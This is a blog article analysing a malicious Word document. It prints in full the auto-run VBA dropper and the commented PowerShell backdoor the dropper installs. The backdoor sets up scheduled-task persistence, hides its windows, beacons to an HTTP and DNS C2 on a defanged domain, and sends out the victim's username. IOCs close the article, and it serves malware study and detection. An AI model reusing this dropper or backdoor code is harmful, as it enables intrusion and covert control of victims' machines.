← /articles
2021-08-19 · 14 min read
Reverse Engineering/14 min read

Malware Analysis: Malicious Document File I

#Malware analysis

I am going to start a Malware Analysis Series, where i will take malware samples and analyze them step-by-step understanding what it does?

This is the First article in the series where we will be analyzing a malicious doc file, we will perform this analysis step by step and try to uncover what this malware does.

You can find resources related to the malware we will analyze from this github repository.

For security reasons I am not sharing the malware file, however, you could download the malware from virusshare (which is a malware repository that contains various malware, but you need an invitation to join the website and download the malware), you can download the malware from here

⚠️ Any domains/URLs/IPs or Scripts discovered while analyzing malware are malicious, I defanged these URLs to prevent any accidental click, Don’t Try to visit these Domains or run these Scripts on your host machine, always use a Sandboxed VM to perform experiments

Static Analysis

I have the malware with the name MAL_DOC_1 with me, the first thing I’ll do is try to find the file type, we could do so by running the file command on a Unix based system

The output shows us that the file is a “Composite Document File V2 Document” created by “Microsoft Office Word” Application

We can confirm the same by checking the hexdump of a file.

The magic bytes or say the signature of a file is do cf 11 e0 which is also read as d0cf11e (or docfile)

The next step is to check the MD5 hash of the file on platforms like virustotal, any[.]run, virusshare, etc that whether the file has been already analyzed.

Here we see that the MD5 hash of the file is 486bdf835a453c6ffb5f56647e697871

If we open this document in our windows lab which we created here, it shows an image asking to enable editing and content which is a common social engineering technique to trick the victim into enabling Macros which might be included with the document.

There are various tools that can help us to extract these Macros, using oletools and oledump, we can dump the VBA Macros,

The first thing is, we will use oledump to list all the VBA files inside the excel file, using the command

oledump MAL_XLS_1
  1:       114 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:      8026 '1Table'
  5:       436 'Macros/PROJECT'
  6:        41 'Macros/PROJECTwm'
  7: M    5350 'Macros/VBA/ThisDocument'
  8:      2734 'Macros/VBA/_VBA_PROJECT'
  9:      3336 'Macros/VBA/__SRP_0'
 10:       174 'Macros/VBA/__SRP_1'
 11:      2866 'Macros/VBA/__SRP_2'
 12:       156 'Macros/VBA/__SRP_3'
 13:       515 'Macros/VBA/dir'
 14:       310 'MsoDataStore/Î1ÛOJ5ZÑÍÔCË3ÃÂÑ3ÖÒÃÇQ==/Item'
 15:       341 'MsoDataStore/Î1ÛOJ5ZÑÍÔCË3ÃÂÑ3ÖÒÃÇQ==/Properties'
 16:    276735 'WordDocument'

where the

  • first column represent the stream number (an “M” next to the stream no. represents the code is macro)
  • second column represent the size of the file
  • and the third represents the location of the file

Here we can see that the one with stream #7 is of the Type “Macro”, so let’s extract the macro in stream #7

Stage 0

Using this 👇🏻 command we can extract the vba code

python3 oledump.py -s 23 -v MAL_XLS_1 > stage0.vbs

The extracted code is ⬇️

stage0.vbs
----------------------------------------------------------------

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
On Error Resume Next
Dim PSF, Tmp As String

Dim singleLine As Paragraph
Dim lineText As String
Dim yCYnlofR
Dim f
Dim qgcLyiCkx As String
qgcLyiCkx = Environ$("AppData") & "\AdobeAcrobatLicenseVerify.ps1"
Set yCYnlofR = CreateObject("Scripting.FileSystemObject")
Set f = yCYnlofR.OpenTextFile(qgcLyiCkx, 2, True)
Dim rng As Range
Dim intSecCount As Integer
Dim intHFType As Integer
intSecCount = ActiveDocument.Sections.Count
For intSection = 1 To intSecCount
    With ActiveDocument.Sections(intSection)
        For intHFType = 1 To 2
            Set rng = ActiveDocument.Sections(intSection).Headers(intHFType).Range
            f.write (rng)
        Next intHFType
    End With
Next intSection
f.Close

PSF = Environ$("AppData") & "\AdobeAcrobatLicenseVerify.ps1"
Tmp = Environ$("AppData") & "\AdobeAcrobatLicenseVerify.vbs"
Dim cmd As String
cmd = "Set oShell = WScript.CreateObject (%WScript.Shell%) : oShell.run %cmd.exe /c Powershell -exec bypass -Windowstyle hidden -File ! %,0,0"
cmd = Replace(cmd, "%", Chr(34))
cmd = Replace(cmd, "!", PSF)

Shell Environ$("COMSPEC") & " /c echo " & Chr(32) & cmd & Chr(32) & " > " & Chr(34) & Tmp & Chr(34), vbHide
Shell Environ$("COMSPEC") & " /c " & "SchTasks /Create /SC MINUTE /MO 1 /TN " & Chr(34) & "Conhost" & Chr(34) & " /TR " & Chr(34) & "wscript " & Tmp & Chr(34), vbHide
End Sub

Let’s start analyzing the VBA code, and try to understand what it does

  • It starts with initializing some attributes,

  • Then there is a sub-routine Sub Document_Open(), this will run when the document file is opened or The macros are enabled, So this can be treated as the entry-point of the Macro,

  • This function starts with initializing some variables,

  • Then it sets the variable qgcLyiCkx with the value as location of “Appdata+\AdobeAcrobatLicenseVerify.ps1” in my system this variable is set as C:\Users\REMWin7\AppData\Roaming\AdobeAcrobatLicenseVerify.ps1 ,

  • Then a Filesystem Object is created, this object provides access to the file system, i.e. using this we can create files, read files, delete files, etc.

  • The File System Object is used to Open a Text File with the location of qgcLyiCkx with Writing Mode, and in Unicode Format, this will return a file stream which will be used to write any data in the opened file.

  • Then there is a loop that is extracting data from the Header section of the Doc file and writing it in the AdobeAcrobatLicenseVerify.ps1 file.

    So In the header section behind the image, there was this Powershell script, which is the next stage i.e. stage1 of our analysis.

  • After that a new variable cmd is initialised and its value is set to "Set oShell = WScript.CreateObject ("WScript.Shell") : oShell.run "cmd.exe /c Powershell -exec bypass -Windowstyle hidden -File \AdobeAcrobatLicenseVerify.ps1 " here wscript is an object which provides an environment to execute scripts.

  • Then there is call to Shell Function which runs an executable program,

  • The complete command looks like

    Shell C:\Windows\system32\cmd.exe /c echo "Set oShell = WScript.CreateObject ('WScript.Shell') : oShell.run 'cmd.exe /c Powershell -exec bypass -Windowstyle hidden -File \AdobeAcrobatLicenseVerify.ps1'" > "C:\Users\REMWin7\AppData\Roaming\AdobeAcrobatLicenseVerify.vbs" ,vbHide

    This is simply creating a new vbs file and adding the value of “cmd” in it, which essentially means that this vbs script will run the PowerShell file we discovered. vbhide at the end means to run this command in a hidden window

  • The next command is

    Shell C:\Windows\system32\cmd.exe /c SchTasks /Create /SC MINUTE /MO 1 /TN "Conhost" /TR "wscript  C:\Users\REMWin7\AppData\Roaming\AdobeAcrobatLicenseVerify.vbs ", vbHide

    This is using a command schtask which is used scheduled tasks to run periodically at a specific time, According to this command the vbs script saved in the last stage will be run every minute.

Stage 1

The next stage is the Powershell File which we discovered

cmd /c start /b schtasks /delete /tn Conhost /f

# DB64 function takes input and decodes it and then convert to text from base64 string
function DB64([string]$encoded){
    $nsp = $encoded -replace ' '                    # Removing any space
    $strb = new-object System.Text.StringBuilder    # Mutable String of characters
    
    for($i=0; $i -lt $nsp.Length; $i++){            # This loop will take each char from the input and replace:
        if($nsp[$i] -eq '0' ){                      
            if($nsp[$i+1] -eq '0'){                 # 00 with 0
                $null = $strb.Append('0')        
            }        
            if($nsp[$i+1] -eq '1'){                 # 01 with =
                $null = $strb.Append('=')        
            }        
            if($nsp[$i+1] -eq '2'){                 # 02 with /
                $null = $strb.Append('/')        
            }        
            if($nsp[$i+1] -eq '3'){                 # 03 with +
                $null = $strb.Append('+')         
            }        $i++;    
        }    
        else{                                      # else add the char as it is
            $null = $strb.Append($nsp[$i])    
        }                                          
    }                                              # This loop is converting the input to base64 string, where few characters of b64 string are encoded
    $newarr = $strb.ToString()
    $decoded = [System.Convert]::FromBase64String($newarr);   # Decodeing Base64 string
    $decoded;
}            


# EB64 function takes input convert to base64 string, and then encodes it
function EB64([byte[]]$decoded){
    $nsp = [System.Convert]::ToBase64String($decoded)     # Convert Input to base64 string
    $strb = new-object System.Text.StringBuilder
    for($i=0;$i -lt $nsp.Length;$i++){    
        if($nsp[$i] -eq '0' ){        
            $null = $strb.Append('00')                    # Encode string, by replacing 0 with 00
        }    
        elseif($nsp[$i] -eq '='){        
            $null = $strb.Append('01')                    # Encode string, by replacing "=" with 01
        }     
        elseif($nsp[$i] -eq '/'){        
            $null = $strb.Append('02')                    # Encode string, by replacing "/" with 02
        }    
        elseif($nsp[$i] -eq '+'){        
            $null = $strb.Append('03')                    # Encode string, by replacing "+" with 03
        }    
        else{        
            $null = $strb.Append($nsp[$i])    
        }
    }
    $strb.ToString()
}

# DAES Function takes key and bytes and then decrypts the AES encrypted bytes using the key
function DAES($key, $bytes){ 
    $IV = $bytes[0..15];                  # Extracts IV from the encrypted string
    $aeM = MA $key $IV;                   # Creates AES Object from the IV and KEY
    $decryptor = $aeM.CreateDecryptor();  # Decrypts the message
    $ueData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
    $ueData;
}

# EAES Function takes key and bytes and then encrypts bytes using the key and AES encryption
function EAES($key, $bytes){ 
    $aeM = MA $key;                    # Creates AES Object from the IV and KEY
    $ueData = $de                  
    $encryptor = $aeM.CreateEncryptor();    
    $ueData = $de
    $eData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);      
    $ueData = $de
    [byte[]] $fullData = $aeM.IV + $eData ;     
    $ueData = $de
    $fullData;
}

# MA takes key and IV and returns a AES object which is used to decrypt or encrypt
function MA($key, $IV){
    $aeM =New-Object "System.Security.Cryptography.AesManaged"
    $aeM.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aeM.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aeM.BlockSize = 128
    $aeM.KeySize = 256
    if ($IV) { 
        if ($IV.getType().Name -eq "String") {  
            $aeM.IV = [System.Convert]::FromBase64String($IV) 
        } 
        else {  
            $aeM.IV = $IV 
        }
    }
    
    if ($key) { 
        if ($key.getType().Name -eq "String") {  
            $aeM.Key = [System.Convert]::FromBase64String($key) 
        } 
        else {  
            $aeM.Key = $key 
        }
    }
    return $aeM
}

# WebReq function is used to make web requests, it takes domain, request method, cookie, and body of the request and makes the request
function WebReq($domain,$method,$cookieval,$body){
    $url = 'hxxps://www.'+$domain
    $ff= 0;
    while(1){
        $req = [System.Net.WebRequest]::Create($url);
        $req.UseDefaultCredentials = $true
        ([System.Net.HttpWebRequest]$req).UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
        
        $req.Proxy = [System.Net.WebRequest]::DefaultWebProxy
        $req.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
        $cookiejar = new-object System.Net.CookieContainer;
        if($cookieval){ 
            $cookie = New-Object System.Net.Cookie("PHPSESSID",$cookieval); $cookiejar.Add($url, $cookie);
        }
        $req.CookieContainer = $cookiejar;
        $req.Method = $method;
        if($body){    
            $req.ContentType = "text/plain" 
            $req.ContentLength = $body.length 
            $requestStream = $req.GetRequestStream()    
            $req.servicepoint.Expect100continue =$false 
            $requestStream.Write([System.Text.Encoding]::ASCII.GetBytes($body),0,$body.length) 
            $requestStream.Close()
        }
        Try{    
            $resp = $req.GetResponse() 
            $test = (New-Object System.IO.StreamReader($resp.GetResponseStream())).ReadToEnd();    
            $z=0    
            if( ($resp.StatusCode -ne 200) -or ($test.Length -and (($test -replace ' ') -notmatch "^[A-Za-z0-9]*$")) ){
                1/$z
            }    
            break
        }
        Catch{    
            if(!$ff){        
                $ff=1        
                $url = 'hxxp://www[.]'+$domain    
            }    
            else{        
                try{            
                    $id = $env:USERDOMAIN+'\'+$env:USERNAME            
                    $creds = new-object System.Net.NetworkCredential($id,"pass")            
                    $req.Credentials = $creds            
                    $resp = $req.GetResponse()      
                    $test = (New-Object System.IO.StreamReader($resp.GetResponseStream())).ReadToEnd();
                    $z=0            
                    if( ($resp.StatusCode -ne 200) -or ($test.Length -and (($test -replace ' ') -notmatch "^[A-Za-z0-9]*$")) ){
                        1/$z
                    }            
                    break        
                }        
                catch{            
                    return 0    
                }    
            }
        }
    }
    
    $cookies = $cookiejar.GetCookies($url);
    $test
    if( $cookies -and $cookies[0].Name -eq "PHPSESSID" -and $sessvar -ne $cookies[0].Value ){ 
        $cookies[0].Value
    }
}

# Query function is used to query the domain and retrun the 4 address of the domain. 
function Query($dname){   
    $try = 0;
    do{    
        if($try -ne 0){
            Start-Sleep -m 50
        }   
        try{        
            if($Global:osv){            
                $dn = $dname+'.'            
                $qq = nslookup.exe -q=aaaa $dn | where{$_ -match ".*:.*:.*"}            
                return [net.ipaddress]::Parse([System.Text.Encoding]::ASCII.GetString($qq[10..$qq.Length])).GetAddressBytes()        
            }else{            
                $r = Resolve-DnsName -Name $dname -Type AAAA -DnsOnly            
                return [System.Net.IPAddress]::Parse($r.IP6Address).GetAddressBytes()        
            }    
        }    
        catch{}    
        $try++
    }
    while($parts.length -ne 8 -and $try -lt 3)
    return 0;
}

# get-res function queries for various subdomains and add the result(i.e. ipv4) address to an array
function get-res($res,$rr){
    $data = @()
    $tmp = [byte[]]$res[12..15][array]::Reverse($tmp)
    $count = [System.BitConverter]::ToUInt32($tmp,0)            
    for($i=0;$i -lt $count;$i++){    
        $dname = 'www'+$i+'[.]'+$rr+"[.]acrobatverify[.]com"  
        $data += Query  $dname
    }
    $dname = 'www.'+$rr+"[.]acrobatverify[.]com"
    $res = Query $dname
    $f = [array]::IndexOf($data,[byte]124)            
    if( $f -ne -1 ){    
        if( $f -ne 0 ){            
            [System.Text.Encoding]::ASCII.GetString($data[0..($f-1)])    
        }    
        $l = [array]::IndexOf($data[($f+1)..$data.length],[byte]124)    
        if( $l -ne -1 ){       
            $length = [System.Convert]::ToInt32( [System.Text.Encoding]::ASCII.GetString($data[($f+1)..($f+$l)]) )        
            if( $length -gt 0 ){            
                $data[($f+2+$l)..($f+$l+1+$length)]        
            }
        }
    }
}

# DNS-Con function makes DNS request to the provided server.
function DNS-Con($dmode,$cookieavl,$pdata){
    $rr = (Get-Random -Min 100000 -Max 999999).ToString()
    if($dmode -eq 0){    
        $dname = 'mail[.]'+$rr+'[.]acrobatverify[.]com '   
        $res = Query $dname    
        $sdata = $env:USERDOMAIN+'\'+$env:USERNAME + ':pass'    
        $id = [System.Text.Encoding]::ASCII.GetBytes($sdata)    
        $did = EB64 $id    
        $dname = $did+'[.]'+$rr+'[.]acrobatverify[.]com'
    }
    
    else{
        $dname = 'ns1[.]'+$rr+'[.]acrobatverify[.]com'  
        $res = Query $dname    
        $dname = $cookieavl+'[.]'+$rr+'[.]acrobatverify[.]com'    
        $res = Query $dname    
        if($dmode -eq 2){        
            $count = [int][math]::Ceiling($pdata.length/60)        
            for($pn=0;$pn -lt $count ;$pn++){            
                $size = 60            
                if($pn -eq $count-1 -and $pdata.length%60 -gt 0)            {
                    $size=$pdata.length%60
                }            
                $dname = $pdata.substring(($pn*60),$size)+'[.]'+$rr+'[.]+acrobatverify[.]com'
                $res = Query $dname        
            }    
        }    
        $dname = 'ns2[.]'+$rr+'[.]acrobatverify[.]com'
    }
    
    $res = Query $dname
    $rval = get-res 
    $res $rr
    if( $rval ){
        $rval
    }
    else{
        return 0
    }
}

# Here all the functions that were made are used to, send and receive data from and to the C&C (Command and Control Server 
#---------------------------------------------------------------------------------------------------------------#
$Global:osv = 0

if([System.Environment]::OSVersion.Version.Major -eq 6 -and [System.Environment]::OSVersion.Version.Minor -lt 2){
    $Global:osv = 7
}
$ff = $env:temp+"\AdobeAcrobatLicenseVerify.vbs"

if((Test-Path $ff) -eq $false){
    [System.IO.File]::WriteAllText($ff,"CreateObject('WScript.Shell').Run `"`" & WScript.Arguments(0) & `"`", 0, False")
}

$task =  cmd /c start /b schtasks /query /fo csv | where{$_ -notmatch "TaskNa"} | findstr "AdobeAcrobatLicenseVerify"

$executable = "wscript.exe"

$run = $MyInvocation.MyCommand.Definition
$args = '"'+$ff + "`" \`"powershell.exe " +" -ExecutionPolicy bypass -WindowStyle hidden -NoProfile '"+$run+"' "+' \"'

if( $task -eq $null){    
    $tr = $executable+' '+ $args    
    
    cmd /c start /b schtasks /create /sc minute /mo 5 /tn "AdobeAcrobatLicenseVerify" /tr $tr 
}

$val = Get-ItemProperty -Path "hkcu:\" -Name "AdobeAcrobatLicenseVerify"

if( $val ){ 
    $vals = $val."AdobeAcrobatLicenseVerify" -split '_' 
    $sessvar = $vals[0]    
    $EPSK = $vals[1]
}

$dns=0

if(!$sessvar){    
    $http_res =  WebReq "acrobatverify[.]com" "GET"    
    $dns=0    
    if( $http_res -eq 0){        
        $dns = 1        
        $http_res = DNS-Con 0 
        $sessvar    
    }    
    if($http_res -is [system.array] -and $http_res[0].length -gt 1){        
        if($dns){            
            $sessvar = $http_res[0]            
            $EPSK = EB64 $http_res[1..$http_res.Length]        
        }        
        else{         
            $EPSK = $http_res[0]         
            $sessvar = $http_res[1]        
        }        
        $storingval = $sessvar+'_'+$EPSK  New-ItemProperty -path "hkcu:\" -Name "AdobeAcrobatLicenseVerify" -Value $storingval -force    
    }    
    else{exit}
}

Try{
    $http_res = WebReq "acrobatverify[.]com" "GET" $sessvar
    $dns=0
    if( $http_res -eq 0){    
        $dns = 1    
        $http_res = DNS-Con 1 
        $sessvar
    }    
    if($http_res -is [system.array] -and $http_res[1] -and $http_res[0] -and $http_res[0].length -gt 1){        
        if($dns){            
            $sessvar = $http_res[0]            
            $EPSK = EB64 $http_res[1..$http_res.Length]        
        }        
        else{            
            $EPSK = $http_res[0]         
            $sessvar = $http_res[1]        
        }        
        $storingval = $sessvar+'_'+$EPSK        
        New-ItemProperty -path "hkcu:\" -Name "AdobeAcrobatLicenseVerify" -Value $storingval -force        
        return    
    }    
    elseif( !$http_res -and !$http_res[0] )    {
        exit
    }
    
    $PSK = DB64 $EPSK 
    if($dns){
        $bytes = $http_res
    }
    else{ 
        $bytes = DB64 $http_res
    }
    
    $data = DAES $PSK $bytes
    
    if( [System.text.encoding]::ASCII.GetString($data[0..4]) -eq "hello"){
        $uuid = $data[5..40] 
        $type = [System.Text.Encoding]::ASCII.GetString($data[41]) 
        $d = $data[42..$data.length]    
        $prevdomain = "acrobatverify[.]com"    
        if($type -eq 'x'){        
            cmd /c start /b schtasks /delete  /tn "AdobeAcrobatLicenseVerify" /f        Remove-ItemProperty -path "hkcu:\" -Name "AdobeAcrobatLicenseVerify"     [System.IO.File]::WriteAllBytes($MyInvocation.MyCommand.Definition,$d[0..$d.length] )        
            
            $result = [System.Text.Encoding]::ASCII.GetBytes("bye") + $uuid + [System.Text.Encoding]::ASCII.GetBytes("d")     
            
            $Edata = EAES $PSK $result     
            
            $B64bytes = EB64 $Edata        
            
            if($dns -eq 0 ){
                $http_res = WebReq $prevdomain "POST" $sessvar $B64bytes
            }        
            else{
                $http_res = DNS-Con 2 $sessvar $B64bytes
            }        
            
            $nmodule = $executable+' '+ '"'+$ff + '" "powershell.exe' +' -ExecutionPolicy bypass -WindowStyle hidden -NoProfile "'+$run+'"'+' "'        cmd.exe /c $nmodule    
        }
    }
}
catch{
    exit
}
#---------------------------------------------------------------------------------------------------------------#

That’s a lot of Code 🤯

I cleaned, indented, and added comments to the PowerShell script, so that it is easier to understand, We got a bunch of functions here like:

  • DB64 function which takes input, decodes it, and then convert to text from base64 string
  • EB64 function which takes input convert to base64 string, and then encodes it
  • DAES Function takes a key and bytes(or encrypted message) and then decrypts the AES encrypted bytes using the key
  • EAES Function takes a key and bytes(a message) and then encrypts bytes using the key and AES encryption
  • MA takes key and IV and returns an AES object which is used to decrypt or encrypt
  • WebReq function is used to make web requests, it takes the domain, the request method, cookie, and body of the request and makes the request
  • Query function is used to query the domain and returns the ipv4 address of the domain.
  • get-res function queries for various subdomains and adds the result(i.e. ipv4) address to an array
  • DNS-Con function makes a DNS request to the provided server.

And lastly, all these functions are used to send or receive messages from the attacker’s domain, i.e "www[.]acrobatverify[.]com"

IOC

IOC (Indicators Of Compromise) are pieces of data, such as data found in log entries or files, that identify potentially malicious activity on a system or network, This IOC helps in identifying the systems which might be affected by the malware, for example, if malware communicates with an external IP address, then any system that requested that particular IP address is considered to be infected by malware.

So In this malware the potential IOC’c are:

  • Any HTTP requests made to “hxxp[://]acrobatverify[.]com” (URLs are defanged, to prevent any accidental click)
  • DNS resolution to any subdomain of acrobatverify[.]com
  • Any IP traffic to 204[.]11[.]56[.]48 (IP address of acrobatverify[.]com)
  • Presence of C:\Users\REMwin7\AppData\Roaming\AdobeAcrobatLicenseVerify.ps1or C:\Users\REMwin7\AppData\Roaming\AdobeAcrobatLicenseVerify.vbs file

You can get the scripts that i extracted and the IOC’s we dertermined from this github repository


Thanks for reading!

Follow along for more deep-dives into systems engineering, architecture, and security research.

← Back to ArticlesWritten by Sahil Singh Rawat